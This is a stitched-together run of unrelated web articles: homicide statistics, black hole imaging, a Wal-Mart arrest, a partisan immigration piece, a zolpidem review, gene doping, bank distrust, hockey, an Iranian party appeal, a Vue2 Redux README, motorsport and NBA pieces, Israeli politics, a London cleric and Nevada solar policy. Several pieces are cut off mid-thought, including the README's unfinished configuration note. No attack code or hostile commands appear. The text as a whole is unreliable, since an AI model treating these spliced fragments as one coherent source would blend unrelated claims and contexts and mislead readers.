Homicide [ edit ] Homicide statistics according to the US Bureau of Justice Statistics[61] Male offender/Male victim 65.3% Male offender/Female victim 22.7% Female offender/Male victim 9.6% Female offender/Female victim 2.4% In the U.S., crime statistics from the 1976 onwards show that men make up the majority of the homicide perpetrators regardless if the victim is female or male. Men are also over-represented as victims in homicide involving both male and female offenders.[61] According to the Bureau of Justice Statistics, women who kill men are most likely to kill acquaintances, spouses or boyfriends while men are more likely to kill strangers.[62] In many cases, women kill men due to being victims of intimate partner violence,[63] however it should be noted that this research was conducted on women on death row, a sample size of approximately 97 during the last 100 years.[64] See also [ edit ] -Nothing gets out of a black hole—not even light. Once a star, a planet, a piece of dust, or even a single photon crosses the limit known as the event horizon, it’s not coming out again. Pulled into the crushing gravity of the singularity at the black hole’s heart, it vanishes from the universe. That’s a big problem if what you really want from a black hole is a photograph. By definition, it’s impossible. All light getting sucked in means no light reflects back—so a black hole is invisible, across the spectrum. And, duh, invisible objects don’t show up in photographs. But thanks to a new telescope, Tim Johannsen, an astrophysicist at the Perimeter Institute and the University of Waterloo in Ontario, Canada, may be able to get a black hole pic after all. A loophole in physics means he might be able to see not the black hole itself, but its shadow. And, no big deal, but that photo just might overturn Albert Einstein’s theory of general relativity. So...wait. Black holes have shadows? Sort of. As gas and dust and other cosmic material approaches a black hole, “that stuff heats up, like millions and millions of degrees,” Johannsen says. That superheated matter swirls around the black hole in what’s called an accretion disk; because it’s so hot, the accretion disk emits a lot of light. Some of those photons zoom out towards Earthbound telescopes, while others cross the event horizon and fall into the void. So when astronomers look at a black hole, what they expect to see is a ring of bright light—the accretion disk—surrounding a circle of nothingness. That circle of nothingness is the shadow. (The black hole itself is just a single point within.) You can see a model of that here: At least, that’s the idea. No one has ever actually seen a black hole’s shadow. “Despite their enormous mass, black holes are also exceedingly small,” says Avery Broderick, Johannsen’s colleague at the Perimeter Institute and the University of Waterloo. Seen from Earth, the shadow of Sagittarius A*, the supermassive black hole at the center of the Milky Way (also known as Sgr A*, which astrophysicists pronounce “Saj-A-star”) is just 1/35,000,000th the width of the Moon, or 50 microarcseconds wide. Here’s where that new telescope comes in. Maybe. Johannsen, Broderick, and their colleagues hope the Event Horizon Telescope will be able to resolve Sgr A*’s shadow. The EHT is actually nine telescopes (and counting), all working together and each located in a different spot on Earth. Coordinating those telescopes’ observations allows them to work as one big telescope that is, in essence, as big as the planet. The bigger your telescope, the higher your resolution. “The Event Horizon Telescope has the capability to produce the highest-resolution images in the history of astronomy”, Broderick says. “That means, for the first time, we can see what happens right down in the immediate vicinity of black hole event horizons.” Scientists working on the EHT hope to see images in the spring of 2017. But they already have some ideas of what they’ll get. General relativity describes gravity not as a force drawing two objects together, but rather as the warped spacetime that governs each of those objects movements. Concentrate a big enough mass in a small enough region of spacetime, and its gravity will be inescapably huge—voila, you’ve got a black hole. If that sounds weird to you, well, it took 50 years for astronomers to discover that black holes were real objects, not just a quirk of general relativity’s math. The problem is, general relativity is really good at describing giant things like stars, but breaks down utterly when it comes to really teeny tiny things like photons and quarks. To talk about those, you need a different theory: quantum mechanics. The central problem in physics today is that the theories are fundamentally incompatible. To figure that out, physicists are keen to find places where the theories overlap or break down—like, for example, the event horizon of a black hole. General relativity doesn’t just predict the existence of black holes. It also precisely describes the size and shape of their shadows. Sgr A*’s shadow is supposed to be perfectly circular and 50 microarcseconds wide. “What would it look like if general relativity were wrong?” wonders Broderick (and just about every other astrophysicist on the planet). There are two possibilities. “The shadow could be more egg shaped,” says Johannsen. “That would be a smoking gun for a GR violation.” It might also be slightly smaller or bigger than general relativity predicts. All he needs to figure it out is the picture from the EHT. (Johannsen and Broderick just published a paper outlining their strategy in Physical Review Letters.) And what if Sgr A*’s shadow doesn’t look the way general relativity says it should? Well, that would be great. If the results held up, physicists could start looking for alternative theories of gravity that did predict the shadow's size and shape. Success wouldn’t mean the new theory would automatically be the successor to general relativity, of course. But it’s a good way to figure out which theories might be on the right track, so you can give their other predictions a closer look. Johannsen’s favorite possibility involves extra dimensions. A shortcoming of general relativity is that it doesn’t explain why gravity is so much weaker than the other fundamental forces. “Let’s assume there is another space dimension. Gravity would immediately penetrate that and become kind of diluted,” Johannsen says. In other words, gravity isn’t weak, it’s just working across more dimensions than the other forces. Amazingly, theories that predict those extra dimensions also predict a different size for Sgr A*’s shadow. In a couple years, finally proving—or falsifying—this weird new physics could “literally be as ‘easy’ as putting a ruler across the image,” Johannsen says. “We’re getting this amazing opportunity to finally put Einstein to the test around the most enigmatic and striking predictions of this theory,” Broderick says. If Einstein is wrong, general relativity won’t go away—it’s too good at what it does. It just won’t be the whole story anymore. Isaac Newton was plenty right about how gravity worked here on Earth; Einstein revolutionized our understanding of the universe. But the universe is big enough to have room for someone to come along and do it again. -NEW HARTFORD, N.Y. -- A man is accused of reaching for a gun just before getting in a fight with a Wal-Mart loss prevention officer in a parking lot in New Hartford. Police said were called around 8 p.m. Tuesday to the Wal-Mart at 4765 Commercial Dr. after two men were confronted by employees for stealing. Tevin V. Joyner, 20, was being detained by loss prevention officers while 26-year-old Willie Alexander fled across the parking lot and toward the store's garden center, police say. Witnesses told police that Alexander was trying to get rid of the gun when a loss prevention officer approached him. The two fought after Alexander allegedly reached for the gun on the ground while the employee was trying to detain him. New Hartford Police Officer Ann Marie Brelinsky took Alexander into custody when she arrived at the parking lot. Joyner and Alexander are charged with misdemeanor petit larceny, while Alexander also faces a felony second-degree criminal possession of a weapon charge. Both men were sent to the the Oneida County jail. Alexander is in custody without bail and Joyner was released Wednesday by a court order, records show. Contact Jolene Almendarez anytime: 315-418-8746 | Email | Twitter | Facebook -The Wall Street Journal editorial board published a furious tirade Tuesday in response to President Trump’s “America First” immigration proposals, arguing that the proposals do not do enough to make open-borders Democrats happy and would lead to a “humanitarian calamity” if illegal immigrants are sent home. “Does President Trump want a bipartisan deal on immigration, or is his talk merely for cable-TV show?” the outlet, which caters to a big business readership, wrote. Trump’s proposal, believed to have been drafted by nationalist adviser Stephen Miller, would shield illegal immigrants brought to the U.S. as children and eligible for the Deferred Action for Childhood Arrivals (DACA) program in return for a host of measures demanded by conservatives. Those include funding for the wall on the southern border, mandated use of E-Verify by employers, an increase in immigration agents, greater restrictions on which family members immigrants can bring, and a stripping of funds from so-called “sanctuary cities.” Trump had cozied up to the Democrats shortly after announcing the repeal of the Obama-era DACA program in September — setting a six-month time limit for its expiration and urging Congress to make a deal. Senate Minority Leader Chuck Schumer (D-NY) indicated that Trump had suggested funding for the wall had been jettisoned by Trump as a firm term, replaced instead by a vague “border security.” But the proposals announced late Sunday indicate a return to Trump’s “America First” campaign stance that helped him win the election in 2016. However, the Journal described the demands as “everything that the restrictionist right has ever sought” and making an agreement “well-nigh impossible.” The article pivots to its concern for cheap labor for big business, claiming that “tight visa caps” are sending high-tech jobs abroad and agricultural production to Mexico. Oddly, it claims that limiting chain migration for family members would encourage more illegal immigration — the argument apparently being that America should just let in potential illegal immigrants before they break the law. As Breitbart News reported, this argument from the center-right outfit is in line with that being pushed by a number of left-wing media and advocacy groups claiming that such demands are “poison pills” because they will upset Democrats. “It’s hard to know if Mr. Trump intends all this as a serious negotiating offer, or merely as poison pills,” the editorial board writes. The case for the latter is that he is demanding money for the wall, which he knows is a nonstarter with Democrats.” The board essentially is arguing that Trump should give up on a central campaign promise because Democrats do not like it. However, it later says that he would be much better off going for the old talking point of a “virtual wall”: If Mr. Trump feels he needs a symbolic wall victory, he’d be smarter to settle for a virtual wall with drones, aerostat blimps and towers with infrared sensors to fill gaps in fencing where the border patrol has difficulty accessing. Newer technology has facial recognition features that can capture biometric data. A virtual wall could be installed within months, not years, and it can be continually improved. If such a wall is a real possibility and would actually work better than a real wall, it is unclear why the Journal thinks Democrats would fund this, either. But after claiming for much of the article that Democrats would scupper the deal, the board admits that such demands would “have no chance of passing no matter which party controls Congress” — essentially conceding that the problem is not just the Democrats. It finishes with the warning that if illegal immigrants are not granted amnesty via a DACA replacement, Democrats will “blame” Republicans for their deportation — despite this being a campaign promise from the president. “This would be a humanitarian calamity, and a monumental lost political opportunity. Mr. Trump needs legislative victories to show he can govern, but his immigration bait and switch may guarantee another failure.” The WSJ article is the latest in a broad attack from pro-big business interests. Former New York Mayor Michael Bloomberg’s lobbying group has reportedly been lobbying top Republicans to prevent President Trump from including pro-American reforms as part of the amnesty for DACA recipients. Adam Shaw is a Breitbart News politics reporter based in New York. Follow Adam on Twitter: @AdamShawNY. -In a new systematic review in JAMA Neurology, Michigan Medicine researchers found reason to further explore the surprising effects of zolpidem that have been observed outside the scope of its primary Food and Drug Administration approval. "We saw a dramatic effect in a small amount of patients with a variety of conditions," says Martin "Nick" Bomalaski, M.D., an outgoing resident physician in the Department of Physical Medicine & Rehabilitation. For one of the first systematic reviews of this unique effect, he spent two years combing through all the case studies and small trials that have been published. Most of the patients who responded to zolpidem for noninsomnia neurological disorders had either a disorder of consciousness or a movement disorder, Bomalaski reports. That includes those in comas and vegetative states, and others with Parkinson's disease and dystonia. In addition, some other patients who had experienced a stroke or traumatic brain injury, or patients with dementia, were prescribed for a range of symptoms, including aphasia, apathy and motor coordination. In all, more than 20 neurological disorders were part of the review. Significant but transient effects For most patients who saw improvement after taking zolpidem, the effects tended to last one to four hours but were repeatable. Depending on the condition, progress was reported for coma recovery, dystonia, Parkinson's disease and other scales that measure motor, auditory and verbal abilities. Some patients improved to a minimally conscious state while others even tried to speak to their loved ones, for perhaps the first time in years. Some patients' functional neuroimaging results improved as well. "This is one of those strange paradoxes where the effects of an insomnia drug seem to have the opposite effect for patients who have paralysis or neurologic conditions," says co-author Mark Peterson, Ph.D., M.S., FACSM, assistant professor of physical medicine and rehabilitation and a member of U-M's Institute for Healthcare Policy & Innovation and Neuroscience Graduate Program. Some families will request zolpidem after finding a case study or news article online because they feel there are no other real options for their loved ones. But zolpidem didn't work for everyone. The response rate in the reviewed articles was between 5 and 7 percent for patients with disorders of consciousness, and up to 24 percent or even higher for patients with movement disorders. For the subjects in this review, the most common adverse effect was that zolpidem did, in fact, sedate the patients as one would see in regular use of the drug. That happened in 13 of the 551 patients in the systematic review. The first systematic review Bomalaski has treated many patients affected with these disorders of consciousness and found the existing case reports quite interesting. "I saw how these conditions affected their function and quality of life," he says. "To see that something as simple as an average dose of a sleeping medicine had, in 15 minutes, woken someone up from a vegetative state seemed extraordinary, and I wanted to pursue it further." The initial search turned up more than 2,300 unique articles. After assessing the abstracts, Bomalaski's team reduced the articles to 89. Another screening included a full read of the 89 articles, leading to a systematic review of 67 of them. Most are considered low-level evidence, including case reports and small interventional trials. Bomalaski reviewed the 67 articles for type of disorder, dosage of zolpidem, frequency, effect and any adverse effects. Only 11 of the studies had more than 10 participants, but all together, there were 551 participants. Guidance for future research "This kind of report brings up more questions than answers, although something like this is really foundational to guide a larger clinical trial," Peterson says. The next step is to study safety and efficacy, the authors say. Another topic for more research is to assess whether the effects of zolpidem depend on the part of the brain that's injured. The researchers report zolpidem's unique effects may be present in patients whose basal ganglia, which help process information to perform an action, are no longer functioning correctly. "The restorative effects on the basal ganglia may surpass the hypnotic effects on the frontal cortex," says Bomalaski, who is headed to the University of Washington for a brain injury fellowship. "We still need to learn much more in order to answer the question about whether we should be using this in our clinical practice." Article: Zolpidem for the Treatment of Neurologic Disorders: A Systematic Review, Martin N. Bomalaski, MD et al., JAMA Neurology, doi: 10.1001/jamaneurol.2017.1133, published online 26 June 2017. -If you're thinking that sounds a lot like CRISPR gene editing, the new rule seems to be targeting just that. As it stands, WADA already bars genetically modified cells and other types of gene therapy that can enhance performance, but the existing rules don't cover CRISPR-type methods. The agency said that certain types of medical gene therapy might be allowed, as long as they don't significantly enhance athletic prowess. "Generally, performance enhancement implies enhancement beyond a return to normal, although you may appreciate that this is not always easy to prove definitively," WADA spokesperson Maggie Durand told New Scientist. WADA seems to be well ahead of any actual cheating. Only one CRISPR trial with humans has been completed, a form of lung cancer treatment done at Sichuan University in China (dozens more are planned in the nation). Unlike regular drug doping, CRISPR requires sophisticated, expensive equipment and techniques, so it's not like shady MDs can do it their garages -- for now. It's a good thing that WADA doesn't have anyone to catch yet, because it doesn't really seem to have any detection methods, either. When quizzed by New Scientist (Engadget has reached, out too) about how it plans to catch gene-editing cheaters, the agency had no response. It's been working on techniques to detect such doping for over ten years, but only came up with a single test least year. For now, the best method might be the "biological passport" that can detect significant changes in an athlete's body. -Results of a recent Gallup Poll reveal that the American public's trust in banks has hit a record low. Just 21 percent of Americans have faith in the nation's banks, the lowest recorded number since the poll was first taken in 1973. It is lower now than it was in 2009, in the teeth of the financial crisis. One can speculate that, like distrust in Congress, this lack of faith appears across the political spectrum. From the left, banks are criticized for engaging in risky conduct that helped to bring about the Great Recession. Similarly, many on the populist right vilify government intervention designed to prop up poorly managed financial institutions as threatening capitalism itself. In many ways, this lack of faith is not surprising. Media reports routinely provide the general public with reminders of bank misconduct, whether in the illegal origination of loans, the shoddy packaging of mortgage-backed securities, excessive and ill-advised risk taking or the faulty prosecution of foreclosures. These revelations have had a profound impact on the general public's faith in financial institutions. Making matters worse, law enforcement's most recent attempt at uncovering and prosecuting bank misconduct in the lead up to and fallout from the financial crisis has gotten moving in only fits and starts. These forces -- public disenchantment with the banks, coupled with weak law enforcement -- are a toxic mix. They will fail to prevent future misconduct; what's worse, they may, in fact, encourage it. Throughout the year, as more information comes out about bank misconduct before and after the financial crisis, public perception of the financial sector remains poor. Whether it's the $25 billion settlement of so-called "Robo-Signing" practices; revelations of the failure of Bank of America to disclose losses at Merrill Lynch when it asked its shareholders to approve purchase of the investment bank; the billions in trading losses at JP Morgan Chase; or the recent settlements of mortgage discrimination suits against Wells Fargo, Countrywide Financial Corporation and SunTrust Mortgage, the public receives constant reminders that our financial institutions have engaged in, and apparently continue to engage in, some very risky, and, at times, illegal, behavior. At the same time, the law enforcement effort that was initiated as part of the Robo-Sign settlement, which is charged with reviewing bank practices both before and after the crisis, seems to have stalled. It is both underfunded and understaffed. While the S&L Crisis inquiry had a staff of over 1,000 lawyers and investigators, the current team is roughly one tenth the size, and does not seem capable of obtaining information about, let alone reviewing, the countless transactions and documents at the heart of the financial crisis. What all of this means is that bankers and the general public are left with the distinct impression not only that fraud in the financial industry was widespread, but also that those guilty of it are not likely to face any punishment. Simply put, this is a very dangerous combination of forces, one that will only lead to precisely the type of behavior that led to the most recent financial crisis in the first place. Perceptions of widespread misconduct, coupled with a belief that punishment of that misconduct is rare, leads to -- no surprise -- more misconduct. The field of behavioral economics teaches us that the extent to which we perceive others as complying with the law will likely influence our willingness to obey or break it ourselves. If we think others are complying, we are likely to behave similarly. If we believe others are breaking it, we will not wish to be seen as the suckers, the ones following rules that everyone else ignores. A now-famous study of the behavior of individuals who frequented a national park reveals how these forces work. In instances where park goers were confronted with signs that led them to think many people engaged in improper conduct in the park, fewer people were willing to forego such conduct for fear they would be missing out on something. By contrast, efforts that communicated the importance of pro-social behavior in the park resulted in more conduct that conformed to the rules. Similarly, and not unexpectedly, whenever the public believes that many people cheat on their taxes, and enforcement of such tax cheats is weak, there is more likely to be more tax evasion, not less. All signs indicate that the current situation finds just these types of forces at work. First, there is a widespread mistrust of banks, one that is fueled by a perception that in the lead up to the crisis banks were routinely engaged in improper and even illegal conduct (whether such perceptions are justified or not). Second, law enforcement officials seem somewhat limited in their ability to hold financial institutions accountable for the illegal conduct, despite having made some headway recently in the area of punishing mortgage discrimination. Since at the heart of the financial crisis lies a range of bank misconduct, an atmosphere filled with the widespread perception of misconduct, coupled with little fear that lawbreakers will be held accountable, could send us back to a second financial crisis. In order to rein in unnecessary risk and fraudulent behavior, what is needed now is a robust, serious and sustained effort to root out, expose and prosecute those illegal acts that led to the financial crisis. Once that is done, faith in the financial sector can be restored; the public will know that the misconduct has been addressed, and those responsible brought to justice. Moving forward, bankers will want to uphold their improved reputations, and will fear punishment should they fail to do so. -The Syracuse Crunch is on the very edge of the Calder Cup playoffs. As of this morning, their magic number for clinching a playoff berth was 4. That number could be lowered to zero if things play out right tonight. According to the AHL's most recent Playoff Primer, the Crunch could clinch a berth tonight if one of the following two scenarios play out: (a) a regulation or overtime win vs. Binghamton AND an Albany loss (reg/OT/SO) vs. Manchester OR (b) a shootout win vs. Binghamton AND an Albany regulation loss vs. Manchester. Once Syracuse clinches, their next order of business will be to remain atop of the AHL's Northeast Division, something the Crunch has managed to do for the last several weeks. The Crunch is currently 7 points ahead of second-place Hartford, a team Syracuse will play on Friday. As long as that gap stays open, Syracuse will be sitting pretty in one of the top three spots in their Eastern Conference, and will have home ice for the first round of the playoffs. As the first round is a best-of-three, home ice is pretty important, especially to a Syracuse team that has made a living out of winning in the Onondaga County War Memorial this season. Two seasons ago, the Crunch had home ice for the first round the playoffs, and swept the Portland Pirates to move onto the second round. That season, Syracuse wasn't nearly as proficient and comfortable in the War Memorial as they have been this season. Syracuse could definitely get a leg up in the playoffs with home ice advantage for at least the first round. Thankfully for the offensively-strapped Crunch, help is on the way. Last week, the Lightning brought Bradyen Point to the Crunch after signing him to an entry-level contract. This week, they've signed another forward who has the potential to jump into the mix immediately and assist Syracuse: Matthew Peca. Peca was signed by the Lightning to a two-year, two-way contract. He was also signed to an amateur try-out contract (ATO) with the Syracuse Crunch, where he will remain for the remainder of the Crunch's season. It's been reported that Peca will wear number 22 in Syracuse. It is not yet clear whether he will be available for tonight's contest against Binghamton. Peca has spent the past four years playing for the Quinnipiac University Bobcats, and was recently touted by the New Haven Register as "the best player to ever come through the Hamden campus." Although currently on the small side-Peca is 5-foot-8, 155-pounds-he reportedly doesn't let his size get in the way of playing big. He played in 157 career NCAA games with Quinnipiac, registering 42 goals and 143 points. His point totals, however, only tell half the story. According to the Register, Peca brings with him a lot of good hockey sense, energy, and an innate desire to sacrifice his body in order to get the win: But his knack for doing the little things endeared Peca to teammates. Just a shade over 160 pounds, he never shied away from contact in the corners. He was outstanding on face-offs; took countless double-shifts on the penalty kill; devoured minutes in tight games. And his enthusiasm for throwing himself in front of opposing slap shots seemed borderline maniacal. Peca's signing gives Crunch fans a reason to be optimistic about their forward depth, even without the likes of Vadislav Namestnikov. This is especially helpful since the Crunch's defense is still looking thin while Slater Koekkoek, Luke Witkowski and Nikita Nesterov remain with Tampa. With the AHL playoffs right around the corner for Syracuse, Peca definitely has the chance to jump in and make a difference right away. -The Tudeh Party of Iran, Iran’s communist party, has issued an appeal for “solidarity action with the working people of Iran campaigning for peace and progress” and with the broad Iranian progressive and democratic movement. Since early January, the party’s Feb. 21 message says, the Ahmadinejad regime “has embarked upon a new wave of repressive measures designed to suffocate the opposition forces demanding a return to the ideals of the 1979 revolution in Iran: democracy, human rights and social justice.” Thousands of people have been arrested, nearly 100 protesters have been killed either by government security forces during protest demonstrations or under torture in detention centers, and 11 detainees have been condemned to execution, the Tudeh appeal says. Among those arrested are activists and leaders of Iran’s student movement, trade union movement, women’s movement and well known academics and progressive writers and journalists. “International solidarity with these victims of suppression in Iran is of vital importance,” the Tudeh Party says. “International pressure on the Iranian regime, to oblige it to abide by the internationally accepted norms and conventions governing treatment of peaceful political protest, needs to be maintained.” The appeal urges messages to the Iranian government supporting the following demands of communist, left, progressive and democratic organization around the world: * The Iranian government to abide by the UN Charter and the Universal Convention on Human Rights. * All death sentences to be commuted to terms of imprisonment decided in a court of law convened in accordance with the laws of natural justice and in which the accused have full access to defense lawyers and are able to defend themselves. * All those detained to be protected from torture or other ill treatment, to be allowed access to their families, lawyers and any necessary medical treatment, and for them to be brought before a judge without delay so that they may challenge the lawfulness of their detention. * Anyone held solely for their participation in protest demonstrations or for expressing their views to be released immediately and unconditionally. * The authorities in Iran to ensure that their policing of any further demonstrations meets international policing standards, including a ban on the use of firearms and other lethal weapons * An impartial investigation be conducted into the deaths of all those killed. “The situation is very desperate and the need for international solidarity is great,” the appeal concludes. The Tudeh Party (Party of the Masses) has a decades-long history of struggle against the shah’s dictatorship and the current theocratic Islamic regime, and has had a mass following with wide support among Iranian trade unionists, intellectuals and artists and others. During that time it has faced vicious persecution, with many of its leaders and members executed under both regimes, and has been forced to work underground and in exile. Photo: A blood-stained protestor in Iran, June 17, 2009. http://www.flickr.com/photos/arasmus/ / CC BY 2.0 -Vue2 Redux Vue bindings for for Redux in only 1.06 kB. ⏭ Installation npm install vue2-redux --save Setup in project import Vue from " vue " ; import { VueRedux } from " vue2-redux " ; import App from " ./components/App.vue " ; import Store from " ./store " ; Vue . use ( VueRedux ( Store ) ) ; new Vue ( { el : " #app " , render : h => h ( App ) } ) ; Using in a component < template > < div id = " app " > < div v-if = " !username " > Please enter your username < div v-else > Your username is: {{ username }} < input @ keyup = " handleUsernameChange " type = " text " /> < script > import { connect } from ' vue2-redux ' import { updateUsername } from ' ../actions/User ' const component = { name : " app-container " , methods : { handleUsernameChange ( { target : { value } } ) { this . updateUsername ( value ) } } } const mapState = state => ( { username : state . User . username } ) const mapDispatch = dispatch => ( { updateUsername : nextUsername => dispatch ( updateUsername ( nextUsername ) ) } ) export default connect ( mapState , mapDispatch ) ( component ) Special note This WILL NOT work if your .babelrc has: { " presets " : [ [ " env " ] , { " modules " : false } ] } This MUST BE changed to: -Dear Audi, We’re very much looking forward to welcoming you to the Formula E paddock as a full works team, although the world of racing will indeed be a poorer place without your marvellous prototype machines. Since 1999, you have pushed the boundaries of what we believed to be possible when it came to motor racing. You bucked the trend by switching to diesel power at Le Mans in 2006 – and won. You did it again by becoming the first manufacturer to win Le Mans with a hybrid in 2012. Since the dawn of the new millennium, you’ve won Le Mans 13 times out a possible 17; you’ve won the WEC title twice since its formation (in 2012 and 2013). You haven’t just thought outside the box. You’ve deconstructred it, redesigned it, and repackaged our expectactions and our emotions in a way not seen since a Swedish company decided to get into shelves and wardrobes. I’m 21 years old: to me, Audi hasn’t just raced at Le Mans: Audi has been Le Mans. To me, Le Mans without Audi is like F1 without Bernie (it’ll happen one day but not today, never today). One of my most memorable experiences in racing came in 2013, when I first ventured to the Circuit de la Sarthe. My friends and I climbed up the bank so we were overlooking the straight following the Porsche Curves. We watched the cars stream past. The one that really stood out to me was the Audi R18 e-tron quattro. “It sounds like a spaceship,” I said, breathtaken. It looked like one, too. And it travelled just as fast. In fact, take that vehicle to some of the less-trod places of this world (or Chatham) and people really would think it’s from another planet. It is sensory experiences such as these that stick with motorsport fans; it isn’t just me whose adulthood and career will be shaped by the experience of witnessing that clever creation for the first time. The WEC landscape without you will be like Egypt short of the pyramids, China without its great wall and London without its most famous clocktower chiming throughout the day. Through all of your success, you have acted with dignity, courage and grace. Everything about your racing involvement at Le Mans and in WEC has exuded class and excellence. To have bowed out of the top tier of sportscar racing with a one-two finish in Bahrain, executed crisply and commandingly, was no less than you deserved. With the weight of recent history in mind, we’re proud that you will be moving forwards in Formula E. The all-electric series has been the epitome of alternative thinking when it comes to motorsport and automotive development through its infancy, so we think you might quite like it here. It is our hope that your legions of WEC fans may do too. Sure, you’ve dipped your toes in the water with your connections with the ABT Schaeffler team, but the new commitment you’re making is a game changer. You’ve already thrived in the sphere of competition against other mighty manufacturers; taking on the likes of Renault, Jaguar, BMW and maybe even Mercedes in Formula E is a challenge we know you will relish. In the early days of Formula E, a recurring question at press conferences was: “Do you think Formula E will overtake F1 or WEC?” (or similar). But that question betrays a significant degree of ignorance about people in general and about racing fans in particular. Variety is good, as a rule of thumb. When it comes to motor racing fans, it’s simple: if you love racing, you love racing, in whatever form it may take. A fan may follow one category more than another but, essentially, we want all motorsport to flourish so that we have as diverse a palette of racing as the diverse nature of the audiences eagerly watching. Your move from WEC to Formula E is not a sign of times shifting. Instead, it’s proof of your raison d’être: to innovate. If all you wanted to do was win, you’d remain in your comfort zone in the WEC but that’s not the Audi way. A team may be referred to as a single entity but it is not, of course. It is a collection of people, and those people have invested years of time, emotion and effort into your WEC adventure. Some of them we know through our Formula E work, gents such as Lucas di Grassi, Loic Duval and Allan McNish. We know they’ll miss the furnace of endurace racing with you; we’re confident that, as Formula E matures and moves forward, its own special brand of spectacle, technical innovation and down-to-the-wire racing will create many more storylines for you and those who, together, form the broader Audi identity. Thank you for so many wonderful years of thinking differently. We sincerely hope that Le Mans has not lost the magnificence of four rings whistling around its hallowed paths forever. In the meantime, we stand ready and waiting to welcome you to a new racing chapter, and we look forward to travelling the world with you as part of Formula E. Luke Smith -It looks like Kevin Durant will have his wingman back at full strength when the Oklahoma City Thunder's 2013-14 campaign kicks off. That's right: KD expects Russell Westbrook to hit the ground running after offseason surgery to repair a torn meniscus, per HoopsHype: Durant spoke to the media at a promotional event in Barcelona, and you can tell by his apparel that he understands the importance of getting off to a fast start. Yep, the T-shirt says "the time is now," which is an appropriate slogan for the Thunder as they look to seize the moment by making another run to the NBA Finals. Durant knows how tough such a sprint would be without Westbrook; he struggled mightily after his running mate went down during the postseason. The Houston Rockets doubled up their defensive attention on Durant, and Thunder head coach Scott Brooks didn't have any answers (or any semblance of an offensive game plan). OKC needs Westbrook to be at his best in order to compete against the NBA's elite teams. When he's relentlessly attacking the rim and pushing the pace, the Thunder are too athletic for most opponents to handle. But the league saw how toothless the Thunder were without him. According to Royce Young of CBS, Westbrook opted to have his meniscus completely repaired, rather than risk returning too soon after a less severe "clean-up" procedure. The typical time frame for surgeries like the one he underwent April 27 is about three months, so it's hardly a surprise that Westbrook will be ready to roll by Oct. 30. Plus, the Vine he posted June 15 should have clued everyone in to the fact that he was getting healthy in a hurry. Fortunately, Westbrook never got too bummed out about his injury. Maybe his upbeat attitude helped hasten the healing. In fact, the OKC guard got himself into shape so quickly that he had plenty of time to squeeze in other activities during his summer break. So, by the time the regular season rolls around, it appears that Westbrook will be fully healthy. Of course, it also looks like he's going to have a few more outside-the-box fashion ideas. Based on what we've seen from him to this point, I guess that qualifies as a mixed blessing. -Economics Minister and Habayit Hayehudi Minister Naftali Bennett slammed the U.S. State Department response to the Jewish nation-state bill, saying the U.S. shouldn't intervene in Israel's internal issues, as politicians from Israel's right also came out in criticism. "I say to the Americans that the affairs of the State of Israel - we will manage [ourselves]," Bennett told Army Radio, according to Israel National News. "At the end it is our problem," he said. "This is an internal issue and I think that no one has the right to intervene with it." The U.S. State Department said Monday evening that it expected Israel to "stick to its democratic principles," in its first response to the Jewish nation-state bill approved by Prime Minister Benjamin Netanyahu's cabinet a day earlier. "Israel is a Jewish and democratic state and all its citizens should enjoy equal rights. We expect Israel to stick to its democratic principles," the State Department said. Though Prime Minister Benjamin Netanyahu responded to the U.S. statement by assuring that Israel is a "model democracy," and that's how it will remain, other politicians on the Israeli right responded vehemently. "We can keep the foundations of democracy even without the help of the partner over the ocean," Coalition whip and Likud MK Zeev Elkin said following the U.S. response, according to Yisrael Hayom. Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close Elkin, who initiated the most extreme version of the bill, said that he would expect the U.S. to encourage Israel to adopt the American customs of swearing allegiance to the flag and singing the national anthem at schools. "When this democratic American tradition is adopted in East Jerusalem, in Taibeh and in Wadi Ara, then we'll have a real foundation for a joint discussion of the necessity of the Jewish nation-state bill," he said. MK Moshe Feiglin, also from the Likud, told Army Radio on Monday that "the intervention of the State Department in crucial questions of the State of Israel is a grave and unbelievable thing." Aside for giving preference to Israel's Jewish identity rather than its democratic character, Elkin's bill would abolish Arabic’s status as one of Israel’s official languages and mandate construction of new Jewish communities without requiring similar construction for Arabs. The controversial bill was approved by the cabinet on Sunday, and was supposed to come for a Knesset vote on Tuesday, the next legislative step. However, the head of Israel's government coalition decided on Monday to postpone the Knesset vote. Nevertheless, Netanyahu said on Monday that he was "determined" to have it passed, with or without his political partners' agreement. -London is a more “Islamic” city than many in Muslim countries, a leading Islamic scholar has claimed. Maulana Syed Ali Raza Rizvi, a Shia cleric, said he feels “more Islamic” in Britain due to the country’s multicultural policies and his freedom to practice his faith. Speaking at the annual Benedict XVI lecture alongside Cardinal Vincent Nichols — the most senior Catholic bishop in England and Wales — and Chief Rabbi Ephraim Mirvis, the cleric claimed Islam was about “love and justice” but Muslim leaders were failing to show this. The Telegraph quotes him as saying: “I feel that London has more Islamic values than many of the Muslim countries put together. “There are many different communities living together in peace and harmony, giving respect to the others and loving others and that is what Islam is all about – and unfortunately [much] of the Muslim political leadership has failed to provide that. “I feel more Islamic living here because I can easily practise my faith and give respect to all other members of the community belonging to different faiths and not even belonging to a faith, to anything. “Because that is what Islam is all about, respecting and giving to others. If in one line I could say what Islam is all about, it is all about love and justice.” However, Chief Rabbi Mirvis also said at the lecture that minorities should be required to pass the so-called “Tebbit Test” – the idea floated by former Conservative Cabinet Minister Norman Tebbit that the true loyalties of ethnic minorities can be determined by which national cricket team they support. “Minorities are responsible to maintain their own traditions, to be proud of their background, loyal to their faiths, and at the same time to be proud members of their countries,” he said. “In a nutshell, minorities need to pass the Norman Tebbit test. This is something which, thankfully, Jewish communities across the globe have almost always done, and we’re proud of the fact that we can pass that test within British society today.” Earlier this year, figures showed that London’s population had reached a record high, despite large numbers of people moving away from the city. The UK capital’s population is growing by around 100,000 a year, mainly due to immigration, with the city’s demographics changing rapidly as white Britons move out. According to the 2011 Census, 620,000 white Britons moved out of London over the previous decade, including a third of all white residents in the borough of Barking and Dagenham. -NV Energy fights to keep rooftop solar from cutting into its profit The future of solar energy in Nevada is at stake in a furious battle that likely won’t be resolved as the 2015 state legislative session nears an end next month. Solar advocates, Nevada businesses and solar industry reps are pushing for more rooftop solar, saying it’s unfair to force consumers to remain chained to the grid and warning that the state could lose thousands of jobs if it doesn’t adapt. State utility NV Energy claims more household solar means increased prices for traditional customers who can’t or won’t install solar panels on their houses or businesses. It comes down to money for both sides It’s all about dollars for both the solar industry and NV Energy. The utility says ratepayers will be charged an additional $8 million for every percentage point the net metering cap increases. 